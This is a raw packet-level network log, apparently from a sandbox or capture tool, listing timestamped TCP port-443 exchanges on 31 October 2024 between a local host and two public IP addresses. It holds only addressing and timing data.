Oct 31, 2024 09:07:27.850683928 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.851243019 CET	49843	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.851248026 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.854546070 CET	443	49841	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.854604006 CET	443	49841	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.854882956 CET	49841	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.854902983 CET	49841	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.854913950 CET	443	49841	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.854928970 CET	49841	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.854934931 CET	443	49841	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.857158899 CET	49847	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.857206106 CET	443	49847	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.857362986 CET	49847	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.857489109 CET	49847	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.857501030 CET	443	49847	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.867026091 CET	443	49842	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.867085934 CET	443	49842	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.867141008 CET	49842	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.867221117 CET	49842	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.867221117 CET	49842	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.867249012 CET	443	49842	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.867271900 CET	443	49842	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.869406939 CET	49848	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.869432926 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.869498968 CET	49848	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.869600058 CET	49848	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.869612932 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.981957912 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.982090950 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.982150078 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.982201099 CET	49843	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.982369900 CET	49843	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.982379913 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.982388020 CET	49843	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.982392073 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.985133886 CET	49849	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.985160112 CET	443	49849	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.985331059 CET	49849	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.985456944 CET	49849	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.985467911 CET	443	49849	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.295197010 CET	443	49845	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.298419952 CET	49845	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.298463106 CET	443	49845	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.298737049 CET	49845	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.298746109 CET	443	49845	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.426393032 CET	443	49845	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.426450014 CET	443	49845	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.426640987 CET	49845	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.426739931 CET	49845	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.426755905 CET	443	49845	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.426768064 CET	49845	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.426774025 CET	443	49845	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.429362059 CET	49850	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.429450035 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.429537058 CET	49850	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.429689884 CET	49850	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.429724932 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.454581022 CET	443	49846	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.455188990 CET	49846	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.455199003 CET	443	49846	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.455612898 CET	49846	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.455617905 CET	443	49846	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.582757950 CET	443	49847	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.584964037 CET	49847	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.584976912 CET	443	49847	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.585413933 CET	49847	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.585419893 CET	443	49847	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.585895061 CET	443	49846	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.586185932 CET	443	49846	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.586242914 CET	49846	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.586268902 CET	49846	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.586282015 CET	443	49846	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.586291075 CET	49846	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.586296082 CET	443	49846	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.588839054 CET	49852	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.588871002 CET	443	49852	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.589025021 CET	49852	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.589164972 CET	49852	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.589179993 CET	443	49852	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.610714912 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.611872911 CET	49848	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.611895084 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.612308979 CET	49848	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.612313986 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.658437014 CET	443	49844	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:28.658502102 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:28.663450956 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:28.663465023 CET	443	49844	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:28.663822889 CET	443	49844	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:28.665461063 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:28.665525913 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:28.665532112 CET	443	49844	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:28.665668964 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:28.703085899 CET	443	49849	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.703633070 CET	49849	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.703646898 CET	443	49849	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.703960896 CET	49849	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.703968048 CET	443	49849	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.711332083 CET	443	49844	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:28.712757111 CET	443	49847	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.712827921 CET	443	49847	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.712980032 CET	49847	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.713004112 CET	49847	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.713016987 CET	443	49847	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.713030100 CET	49847	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.713037014 CET	443	49847	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.715666056 CET	49853	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.715691090 CET	443	49853	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.715768099 CET	49853	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.715912104 CET	49853	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.715920925 CET	443	49853	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.742795944 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.742829084 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.742865086 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.742892027 CET	49848	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.743042946 CET	49848	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.743072987 CET	49848	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.743086100 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.743096113 CET	49848	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.743100882 CET	443	49848	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.745012999 CET	49854	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.745042086 CET	443	49854	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.745101929 CET	49854	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.745212078 CET	49854	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.745223999 CET	443	49854	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.830578089 CET	443	49849	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.830629110 CET	443	49849	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.830674887 CET	49849	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.830790043 CET	49849	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.830790043 CET	49849	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.830806017 CET	443	49849	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.830816984 CET	443	49849	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.833147049 CET	49855	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.833173990 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.833230972 CET	49855	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.833340883 CET	49855	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:28.833353996 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:28.920159101 CET	443	49844	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:28.920536041 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:28.920551062 CET	443	49844	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:28.920578003 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:28.920598030 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:29.158279896 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.159008026 CET	49850	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.159024954 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.159430981 CET	49850	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.159435034 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.295815945 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.295933962 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.295973063 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.296024084 CET	49850	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.296046019 CET	49850	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.296266079 CET	49850	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.296283007 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.296300888 CET	49850	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.296305895 CET	443	49850	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.298980951 CET	49856	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.299020052 CET	443	49856	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.299094915 CET	49856	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.299240112 CET	49856	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.299254894 CET	443	49856	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.357470036 CET	443	49852	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.357991934 CET	49852	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.358019114 CET	443	49852	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.358566046 CET	49852	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.358572006 CET	443	49852	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.437144995 CET	443	49853	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.437757969 CET	49853	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.437782049 CET	443	49853	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.438080072 CET	49853	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.438090086 CET	443	49853	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.469614029 CET	443	49854	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.470055103 CET	49854	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.470063925 CET	443	49854	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.470309973 CET	49854	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.470313072 CET	443	49854	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.495707035 CET	443	49852	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.495764971 CET	443	49852	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.495946884 CET	49852	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.495965958 CET	49852	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.495979071 CET	443	49852	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.495986938 CET	49852	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.495990992 CET	443	49852	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.498431921 CET	49857	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.498451948 CET	443	49857	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.498519897 CET	49857	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.498624086 CET	49857	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.498636007 CET	443	49857	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.559262991 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.559781075 CET	49855	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.559813976 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.560281992 CET	49855	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.560290098 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.564857006 CET	443	49853	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.564925909 CET	443	49853	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.564985037 CET	49853	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.565170050 CET	49853	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.565170050 CET	49853	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.565185070 CET	443	49853	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.565192938 CET	443	49853	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.571382999 CET	49858	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.571418047 CET	443	49858	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.571489096 CET	49858	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.571728945 CET	49858	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.571738958 CET	443	49858	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.599881887 CET	443	49854	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.599957943 CET	443	49854	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.600035906 CET	49854	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.600199938 CET	49854	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.600209951 CET	443	49854	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.600219011 CET	49854	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.600223064 CET	443	49854	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.602305889 CET	49859	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.602320910 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.602389097 CET	49859	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.602526903 CET	49859	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.602536917 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.687750101 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.687778950 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.687825918 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.687890053 CET	49855	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.687937975 CET	49855	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.688092947 CET	49855	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.688116074 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.688126087 CET	49855	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.688131094 CET	443	49855	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.720232010 CET	49860	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.720257044 CET	443	49860	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:29.720362902 CET	49860	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.720489025 CET	49860	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:29.720499039 CET	443	49860	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.028497934 CET	443	49856	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.030220985 CET	49856	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.030245066 CET	443	49856	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.031111956 CET	49856	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.031116962 CET	443	49856	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.158356905 CET	443	49856	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.158596992 CET	443	49856	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.158643007 CET	49856	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.158684015 CET	49856	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.158694983 CET	443	49856	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.158708096 CET	49856	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.158713102 CET	443	49856	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.161604881 CET	49861	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.161638975 CET	443	49861	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.161710024 CET	49861	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.161835909 CET	49861	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.161849022 CET	443	49861	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.230444908 CET	443	49857	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.230811119 CET	49857	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.230828047 CET	443	49857	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.231268883 CET	49857	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.231273890 CET	443	49857	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.326071978 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.326419115 CET	49859	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.326426029 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.326833010 CET	49859	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.326837063 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.348839998 CET	443	49858	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.356107950 CET	49858	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.356120110 CET	443	49858	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.356544018 CET	49858	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.356547117 CET	443	49858	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.361428976 CET	443	49857	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.361489058 CET	443	49857	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.361531973 CET	49857	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.361798048 CET	49857	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.361815929 CET	443	49857	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.361825943 CET	49857	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.361830950 CET	443	49857	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.364311934 CET	49862	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.364347935 CET	443	49862	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.364424944 CET	49862	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.364564896 CET	49862	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.364579916 CET	443	49862	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.453417063 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.453496933 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.453553915 CET	49859	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.453579903 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.453624010 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.453701973 CET	49859	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.453810930 CET	49859	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.453825951 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.453835011 CET	49859	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.453841925 CET	443	49859	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.456332922 CET	49863	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.456363916 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.456439018 CET	49863	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.456576109 CET	49863	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.456593037 CET	443	49863	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.487567902 CET	443	49860	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.487627029 CET	443	49858	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.487679958 CET	443	49858	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.487726927 CET	49858	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.487957954 CET	49860	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.487971067 CET	443	49860	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.488030910 CET	49858	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.488039017 CET	443	49858	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.488049984 CET	49858	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.488054037 CET	443	49858	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.488467932 CET	49860	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.488472939 CET	443	49860	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.490211964 CET	49864	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.490248919 CET	443	49864	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.490330935 CET	49864	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.490457058 CET	49864	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.490472078 CET	443	49864	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.622694969 CET	443	49860	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.622765064 CET	443	49860	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.622812033 CET	49860	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.623017073 CET	49860	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.623038054 CET	443	49860	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.623056889 CET	49860	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.623063087 CET	443	49860	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.625576973 CET	49866	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.625617981 CET	443	49866	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.625679970 CET	49866	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.625807047 CET	49866	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.625821114 CET	443	49866	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.907589912 CET	443	49861	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.908495903 CET	49861	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.908513069 CET	443	49861	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:30.908982992 CET	49861	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:30.908987045 CET	443	49861	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.039105892 CET	443	49861	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.039274931 CET	443	49861	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.039366961 CET	49861	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.044147015 CET	49861	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.044169903 CET	443	49861	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.044190884 CET	49861	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.044203997 CET	443	49861	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.046909094 CET	49867	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.046952963 CET	443	49867	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.047034025 CET	49867	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.047153950 CET	49867	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.047171116 CET	443	49867	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.100739002 CET	443	49862	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.101464033 CET	49862	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:31.101475000 CET	443	49862	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:31.102097988 CET	49862	443	192.168.2.6	13.107.246.45
